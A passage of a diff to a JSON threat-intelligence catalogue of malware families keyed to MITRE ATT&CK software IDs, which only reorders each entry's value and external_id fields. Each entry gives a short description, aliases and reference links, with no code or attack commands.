- "uuid": "2f1a9fd0-3b7c-4d77-a358-78db13adbe78"
+ "uuid": "2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
+ "value": "EvilGrab - S0152"
},
{
"description": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)\n\nAliases: BS2005",
- "value": "BS2005 - S0014",
"meta": {
+ "external_id": "S0014",
"refs": [
"https://attack.mitre.org/wiki/Software/S0014",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"
],
- "external_id": "S0014",
"synonyms": [
"BS2005"
]
},
- "uuid": "67fc172a-36fa-4a35-88eb-4ba730ed52a6"
+ "uuid": "67fc172a-36fa-4a35-88eb-4ba730ed52a6",
+ "value": "BS2005 - S0014"
},
{
"description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)\n\nAliases: WEBC2",
- "value": "WEBC2 - S0109",
"meta": {
+ "external_id": "S0109",
"refs": [
"https://attack.mitre.org/wiki/Software/S0109",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
],
- "external_id": "S0109",
"synonyms": [
"WEBC2"
]
},
- "uuid": "1d808f62-cf63-4063-9727-ff6132514c22"
+ "uuid": "1d808f62-cf63-4063-9727-ff6132514c22",
+ "value": "WEBC2 - S0109"
},
{
"description": "PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)\n\nAliases: PlugX, Sogu, Kaba, Korplug",
- "value": "PlugX - S0013",
"meta": {
+ "external_id": "S0013",
"refs": [
"https://attack.mitre.org/wiki/Software/S0013",
"http://labs.lastline.com/an-analysis-of-plugx",
@@ -713,7 +712,6 @@
"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
],
- "external_id": "S0013",
"synonyms": [
"PlugX",
"Sogu",
@@ -721,348 +719,348 @@
"Korplug"
]
},
- "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd"
+ "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd",
+ "value": "PlugX - S0013"
},
{
"description": "Reaver is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of . (Citation: Palo Alto Reaver Nov 2017)\n\nAliases: Reaver",
- "value": "Reaver - S0172",
"meta": {
+ "external_id": "S0172",
"refs": [
"https://attack.mitre.org/wiki/Software/S0172",
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
],
- "external_id": "S0172",
"synonyms": [
"Reaver"
]
},
- "uuid": "65341f30-bec6-4b1d-8abf-1a5620446c29"
+ "uuid": "65341f30-bec6-4b1d-8abf-1a5620446c29",
+ "value": "Reaver - S0172"
},
{
"description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011. (Citation: Cylance Dust Storm)\n\nAliases: Misdat",
- "value": "Misdat - S0083",
"meta": {
+ "external_id": "S0083",
"refs": [
"https://attack.mitre.org/wiki/Software/S0083",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
],
- "external_id": "S0083",
"synonyms": [
"Misdat"
]
},
- "uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039"
+ "uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
+ "value": "Misdat - S0083"
},
{
"description": "Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to (Citation: XAgentOSX) (Citation: XAgentOSX) (Citation: Sofacy Komplex Trojan).\n\nAliases: Komplex",
- "value": "Komplex - S0162",
"meta": {
+ "external_id": "S0162",
"refs": [
"https://attack.mitre.org/wiki/Software/S0162",
"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
],
- "external_id": "S0162",
"synonyms": [
"Komplex"
]
},
- "uuid": "f108215f-3487-489d-be8b-80e346d32518"
+ "uuid": "f108215f-3487-489d-be8b-80e346d32518",
+ "value": "Komplex - S0162"
},
{
"description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)\n\nAliases: Taidoor",
- "value": "Taidoor - S0011",
"meta": {
+ "external_id": "S0011",
"refs": [
"https://attack.mitre.org/wiki/Software/S0011",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf"
],
- "external_id": "S0011",
"synonyms": [
"Taidoor"
]
},
- "uuid": "b143dfa4-e944-43ff-8429-bfffc308c517"
+ "uuid": "b143dfa4-e944-43ff-8429-bfffc308c517",
+ "value": "Taidoor - S0011"
},
{
"description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)\n\nAliases: MoonWind",
- "value": "MoonWind - S0149",
"meta": {
+ "external_id": "S0149",
"refs": [
"https://attack.mitre.org/wiki/Software/S0149",
"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
],
- "external_id": "S0149",
"synonyms": [
"MoonWind"
]
},
- "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1"
+ "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
+ "value": "MoonWind - S0149"
},
{
"description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)\n\nAliases: Crimson, MSIL/Crimson",
- "value": "Crimson - S0115",
"meta": {
+ "external_id": "S0115",
"refs": [
"https://attack.mitre.org/wiki/Software/S0115",
"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
],
- "external_id": "S0115",
"synonyms": [
"Crimson",
"MSIL/Crimson"
]
},
- "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2"
+ "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2",
+ "value": "Crimson - S0115"
},
{
"description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)\n\nAliases: Rover",
- "value": "Rover - S0090",
"meta": {
+ "external_id": "S0090",
"refs": [
"https://attack.mitre.org/wiki/Software/S0090",
"http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
],
- "external_id": "S0090",
"synonyms": [
"Rover"
]
},
- "uuid": "6b616fc1-1505-48e3-8b2c-0d19337bff38"
+ "uuid": "6b616fc1-1505-48e3-8b2c-0d19337bff38",
+ "value": "Rover - S0090"
},
{
"description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)\n\nAliases: ZLib",
- "value": "ZLib - S0086",
"meta": {
+ "external_id": "S0086",
"refs": [
"https://attack.mitre.org/wiki/Software/S0086",
"https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf"
],
- "external_id": "S0086",
"synonyms": [
"ZLib"
]
},
- "uuid": "166c0eca-02fd-424a-92c0-6b5106994d31"
+ "uuid": "166c0eca-02fd-424a-92c0-6b5106994d31",
+ "value": "ZLib - S0086"
},
{
"description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)\n\nAliases: PowerDuke",
- "value": "PowerDuke - S0139",
"meta": {
+ "external_id": "S0139",
"refs": [
"https://attack.mitre.org/wiki/Software/S0139",
"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
],
- "external_id": "S0139",
"synonyms": [
"PowerDuke"
]
},
- "uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a"
+ "uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
+ "value": "PowerDuke - S0139"
},
{
"description": "HTTPBrowser is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)\n\nAliases: HTTPBrowser, Token Control, HttpDump",
- "value": "HTTPBrowser - S0070",
"meta": {
+ "external_id": "S0070",
"refs": [
"https://attack.mitre.org/wiki/Software/S0070",
"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/",
"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/"
],
- "external_id": "S0070",
"synonyms": [
"HTTPBrowser",
"Token Control",
"HttpDump"
]
},
- "uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360"
+ "uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360",
+ "value": "HTTPBrowser - S0070"
},
{
"description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke",
- "value": "HAMMERTOSS - S0037",
"meta": {
+ "external_id": "S0037",
"refs": [
"https://attack.mitre.org/wiki/Software/S0037",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "external_id": "S0037",
"synonyms": [
"HAMMERTOSS",
"HammerDuke",
"NetDuke"
]
},
- "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4"
+ "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4",
+ "value": "HAMMERTOSS - S0037"
},
{
"description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy)\n\nAliases: PoisonIvy, Poison Ivy",
- "value": "PoisonIvy - S0012",
"meta": {
+ "external_id": "S0012",
"refs": [
"https://attack.mitre.org/wiki/Software/S0012",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
],
- "external_id": "S0012",
"synonyms": [
"PoisonIvy",
"Poison Ivy"
]
},
- "uuid": "b42378e0-f147-496f-992a-26a49705395b"
+ "uuid": "b42378e0-f147-496f-992a-26a49705395b",
+ "value": "PoisonIvy - S0012"
},
{
"description": "SHUTTERSPEED is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)\n\nAliases: SHUTTERSPEED",
- "value": "SHUTTERSPEED - S0217",
"meta": {
+ "external_id": "S0217",
"refs": [
"https://attack.mitre.org/wiki/Software/S0217",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
],
- "external_id": "S0217",
"synonyms": [
"SHUTTERSPEED"
]
},
- "uuid": "4189a679-72ed-4a89-a57c-7f689712ecf8"
+ "uuid": "4189a679-72ed-4a89-a57c-7f689712ecf8",
+ "value": "SHUTTERSPEED - S0217"
},
{
"description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak)\n\nAliases: Carbanak, Anunak",
- "value": "Carbanak - S0030",
"meta": {
+ "external_id": "S0030",
"refs": [
"https://attack.mitre.org/wiki/Software/S0030",
"https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf"
],
- "external_id": "S0030",
"synonyms": [
"Carbanak",
"Anunak"
]
},
- "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4"
+ "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4",
+ "value": "Carbanak - S0030"
},
{
"description": "POWERSTATS is a PowerShell-based first stage backdoor used by MuddyWater. (Citation: Unit 42 MuddyWater Nov 2017)\n\nAliases: POWERSTATS",
- "value": "POWERSTATS - S0223",
"meta": {
+ "external_id": "S0223",
"refs": [
"https://attack.mitre.org/wiki/Software/S0223",
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"
],
- "external_id": "S0223",
"synonyms": [
"POWERSTATS"
]
},
- "uuid": "e8545794-b98c-492b-a5b3-4b5a02682e37"
+ "uuid": "e8545794-b98c-492b-a5b3-4b5a02682e37",
+ "value": "POWERSTATS - S0223"
},
{
"description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia. (Citation: Moran 2013)\n\nAliases: Ixeshe",
- "value": "Ixeshe - S0015",
"meta": {
+ "external_id": "S0015",
"refs": [
"https://attack.mitre.org/wiki/Software/S0015",
"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html"
],
- "external_id": "S0015",
"synonyms": [
"Ixeshe"
]
},
- "uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06"
+ "uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06",
+ "value": "Ixeshe - S0015"
},
{
"description": "BADNEWS is malware that has been used by the actors responsible for the Patchwork campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)\n\nAliases: BADNEWS",
- "value": "BADNEWS - S0128",
"meta": {
+ "external_id": "S0128",
"refs": [
"https://attack.mitre.org/wiki/Software/S0128",
"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
],
- "external_id": "S0128",
"synonyms": [
"BADNEWS"
]
},
- "uuid": "e9595678-d269-469e-ae6b-75e49259de63"
+ "uuid": "e9595678-d269-469e-ae6b-75e49259de63",
+ "value": "BADNEWS - S0128"
},
{
"description": "FLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)\n\nAliases: FLIPSIDE",
- "value": "FLIPSIDE - S0173",
"meta": {
+ "external_id": "S0173",
"refs": [
"https://attack.mitre.org/wiki/Software/S0173",
"https://www.youtube.com/watch?v=fevGZs0EQu8"
],
- "external_id": "S0173",
"synonyms": [
"FLIPSIDE"
]
},
- "uuid": "0e18b800-906c-4e44-a143-b11c72b3448b"
+ "uuid": "0e18b800-906c-4e44-a143-b11c72b3448b",
+ "value": "FLIPSIDE - S0173"
},
{
"description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)\n\nAliases: Flame, Flamer, sKyWIper",
- "value": "Flame - S0143",
"meta": {
+ "external_id": "S0143",
"refs": [
"https://attack.mitre.org/wiki/Software/S0143",
"https://securelist.com/the-flame-questions-and-answers-51/34344/"
],
- "external_id": "S0143",
"synonyms": [
"Flame",
"Flamer",
"sKyWIper"
]
},
- "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498"
+ "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
+ "value": "Flame - S0143"
},
{
"description": "RIPTIDE is a proxy-aware backdoor used by APT12. (Citation: Moran 2014)\n\nAliases: RIPTIDE",
- "value": "RIPTIDE - S0003",
"meta": {
+ "external_id": "S0003",
"refs": [
"https://attack.mitre.org/wiki/Software/S0003",
"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
],
- "external_id": "S0003",
"synonyms": [
"RIPTIDE"
]
},
- "uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e"
+ "uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e",
+ "value": "RIPTIDE - S0003"
},
{
"description": "Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)\n\nAliases: Daserf, Muirim, Nioupale",
- "value": "Daserf - S0187",
"meta": {
+ "external_id": "S0187",
"refs": [
"https://attack.mitre.org/wiki/Software/S0187",
"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/",
"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
],
- "external_id": "S0187",
"synonyms": [
"Daserf",
"Muirim",
"Nioupale"
]
},
- "uuid": "b6b3dfc7-9a81-43ff-ac04-698bad48973a"
+ "uuid": "b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+ "value": "Daserf - S0187"
},
{
"description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT",
- "value": "CozyCar - S0046",
"meta": {
+ "external_id": "S0046",
"refs": [
"https://attack.mitre.org/wiki/Software/S0046",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "external_id": "S0046",
"synonyms": [
"CozyCar",
"CozyDuke",
@@ -1071,505 +1069,505 @@
"EuroAPT"
]
},
- "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754"
+ "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754",
+ "value": "CozyCar - S0046"
},
{
"description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)\n\nAliases: Mivast",
- "value": "Mivast - S0080",
"meta": {
+ "external_id": "S0080",
"refs": [
"https://attack.mitre.org/wiki/Software/S0080",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf"
],
- "external_id": "S0080",
"synonyms": [
"Mivast"
]
},
- "uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3"
+ "uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
+ "value": "Mivast - S0080"
},
{
"description": "is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)\n\nAliases: NETWIRE",
- "value": "NETWIRE - S0198",
"meta": {
+ "external_id": "S0198",
"refs": [
"https://attack.mitre.org/wiki/Software/S0198",
"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
"https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/",
"https://www.brighttalk.com/webcast/10703/275683"
],
- "external_id": "S0198",
"synonyms": [
"NETWIRE"
]
},
- "uuid": "2a70812b-f1ef-44db-8578-a496a227aef2"
+ "uuid": "2a70812b-f1ef-44db-8578-a496a227aef2",
+ "value": "NETWIRE - S0198"
},
{
"description": "ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)\n\nAliases: ISMInjector\n\nContributors: Robert Falcone",
- "value": "ISMInjector - S0189",
"meta": {
+ "external_id": "S0189",
"refs": [
"https://attack.mitre.org/wiki/Software/S0189",
"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
],
- "external_id": "S0189",
"synonyms": [
"ISMInjector"
]
},
- "uuid": "5be33fef-39c0-4532-84ee-bea31e1b5324"
+ "uuid": "5be33fef-39c0-4532-84ee-bea31e1b5324",
+ "value": "ISMInjector - S0189"
},
{
"description": "is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)\n\nAliases: Vasport",
- "value": "Vasport - S0207",
"meta": {
+ "external_id": "S0207",
"refs": [
"https://attack.mitre.org/wiki/Software/S0207",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
"https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-5938-99"
],
- "external_id": "S0207",
"synonyms": [
"Vasport"
]
},
- "uuid": "f4d8a2d6-c684-453a-8a14-cf4a94f755c5"
+ "uuid": "f4d8a2d6-c684-453a-8a14-cf4a94f755c5",
+ "value": "Vasport - S0207"
},
{
"description": "Cherry Picker is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)\n\nAliases: Cherry Picker",
- "value": "Cherry Picker - S0107",
"meta": {
+ "external_id": "S0107",
"refs": [
"https://attack.mitre.org/wiki/Software/S0107",
"https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/"
],
- "external_id": "S0107",
"synonyms": [
"Cherry Picker"
]
},
- "uuid": "b2203c59-4089-4ee4-bfe1-28fa25f0dbfe"
+ "uuid": "b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
+ "value": "Cherry Picker - S0107"
},
{
"description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)\n\nAliases: XTunnel, X-Tunnel, XAPS",
- "value": "XTunnel - S0117",
"meta": {
+ "external_id": "S0117",
"refs": [
"https://attack.mitre.org/wiki/Software/S0117",
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/",
"https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
],
- "external_id": "S0117",
"synonyms": [
"XTunnel",
"X-Tunnel",
"XAPS"
]
},
- "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab"
+ "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab",
+ "value": "XTunnel - S0117"
},
{
"description": "Naid is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)\n\nAliases: Naid",
- "value": "Naid - S0205",
"meta": {
+ "external_id": "S0205",
"refs": [
"https://attack.mitre.org/wiki/Software/S0205",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
"https://www.symantec.com/security%20response/writeup.jsp?docid=2012-061518-4639-99"
],
- "external_id": "S0205",
"synonyms": [
"Naid"
]
},
- "uuid": "48523614-309e-43bf-a2b8-705c2b45d7b2"
+ "uuid": "48523614-309e-43bf-a2b8-705c2b45d7b2",
+ "value": "Naid - S0205"
},
{
"description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012. (Citation: F-Secure The Dukes)\n\nAliases: GeminiDuke",
- "value": "GeminiDuke - S0049",
"meta": {
+ "external_id": "S0049",
"refs": [
"https://attack.mitre.org/wiki/Software/S0049",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "external_id": "S0049",
"synonyms": [
"GeminiDuke"
]
},
- "uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6"
+ "uuid": "199463de-d9be-46d6-bb41-07234c1dd5a6",
+ "value": "GeminiDuke - S0049"
},
{
"description": "is an exfiltration tool used by APT37. (Citation: FireEye APT37 Feb 2018)\n\nAliases: CORALDECK",
- "value": "CORALDECK - S0212",
"meta": {
+ "external_id": "S0212",
"refs": [
"https://attack.mitre.org/wiki/Software/S0212",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
],
- "external_id": "S0212",
"synonyms": [
"CORALDECK"
]
},
- "uuid": "8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e"
+ "uuid": "8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e",
+ "value": "CORALDECK - S0212"
},
{
"description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)\n\nAliases: Sakula, Sakurel, VIPER",
- "value": "Sakula - S0074",
"meta": {
+ "external_id": "S0074",
"refs": [
"https://attack.mitre.org/wiki/Software/S0074",
"http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
],
- "external_id": "S0074",
"synonyms": [
"Sakula",
"Sakurel",
"VIPER"
]
},
- "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e"
+ "uuid": "96b08451-b27a-4ff6-893f-790e26393a8e",
+ "value": "Sakula - S0074"
},
{
"description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)\n\nAliases: Agent.btz",
- "value": "Agent.btz - S0092",
"meta": {
+ "external_id": "S0092",
"refs": [
"https://attack.mitre.org/wiki/Software/S0092",
"https://securelist.com/agent-btz-a-source-of-inspiration/58551/"
],
- "external_id": "S0092",
"synonyms": [
"Agent.btz"
]
},
- "uuid": "40d3e230-ed32-469f-ba89-be70cc08ab39"
+ "uuid": "40d3e230-ed32-469f-ba89-be70cc08ab39",
+ "value": "Agent.btz - S0092"
},
{
"description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)\n\nAliases: Prikormka",
- "value": "Prikormka - S0113",
"meta": {
+ "external_id": "S0113",
"refs": [
"https://attack.mitre.org/wiki/Software/S0113",
"http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
],
- "external_id": "S0113",
"synonyms": [
"Prikormka"
]
},
- "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69"
+ "uuid": "37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
+ "value": "Prikormka - S0113"
},
{
"description": "NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)\n\nAliases: NETEAGLE",
- "value": "NETEAGLE - S0034",
"meta": {
+ "external_id": "S0034",
"refs": [
"https://attack.mitre.org/wiki/Software/S0034",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
- "external_id": "S0034",
"synonyms": [
"NETEAGLE"
]
},
- "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2"
+ "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
+ "value": "NETEAGLE - S0034"
},
{
"description": "SLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)\n\nAliases: SLOWDRIFT",
- "value": "SLOWDRIFT - S0218",
"meta": {
+ "external_id": "S0218",
"refs": [
"https://attack.mitre.org/wiki/Software/S0218",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
],
- "external_id": "S0218",
"synonyms": [
"SLOWDRIFT"
]
},
- "uuid": "414dc555-c79e-4b24-a2da-9b607f7eaf16"
+ "uuid": "414dc555-c79e-4b24-a2da-9b607f7eaf16",
+ "value": "SLOWDRIFT - S0218"
},
{
"description": "USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)\n\nAliases: USBStealer, USB Stealer, Win32/USBStealer",
- "value": "USBStealer - S0136",
"meta": {
+ "external_id": "S0136",
"refs": [
"https://attack.mitre.org/wiki/Software/S0136",
"http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/",
"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
],
- "external_id": "S0136",
"synonyms": [
"USBStealer",
"USB Stealer",
"Win32/USBStealer"
]
},
- "uuid": "af2ad3b7-ab6a-4807-91fd-51bcaff9acbb"
+ "uuid": "af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
+ "value": "USBStealer - S0136"
},
{
"description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)\n\nAliases: CALENDAR",
- "value": "CALENDAR - S0025",
"meta": {
+ "external_id": "S0025",
"refs": [
"https://attack.mitre.org/wiki/Software/S0025",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
- "external_id": "S0025",
"synonyms": [
"CALENDAR"
]
},
- "uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283"
+ "uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283",
+ "value": "CALENDAR - S0025"
},
{
"description": "A Linux rootkit that provides backdoor access and hides from defenders.\n\nAliases: Umbreon",
- "value": "Umbreon - S0221",
"meta": {
+ "external_id": "S0221",
"refs": [
"https://attack.mitre.org/wiki/Software/S0221"
],
- "external_id": "S0221",
"synonyms": [
"Umbreon"
]
},
- "uuid": "3d8e547d-9456-4f32-a895-dc86134e282f"
+ "uuid": "3d8e547d-9456-4f32-a895-dc86134e282f",
+ "value": "Umbreon - S0221"
},
{
"description": "Wingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)\n\nAliases: Wingbird",
- "value": "Wingbird - S0176",
"meta": {
+ "external_id": "S0176",
"refs": [
"https://attack.mitre.org/wiki/Software/S0176",
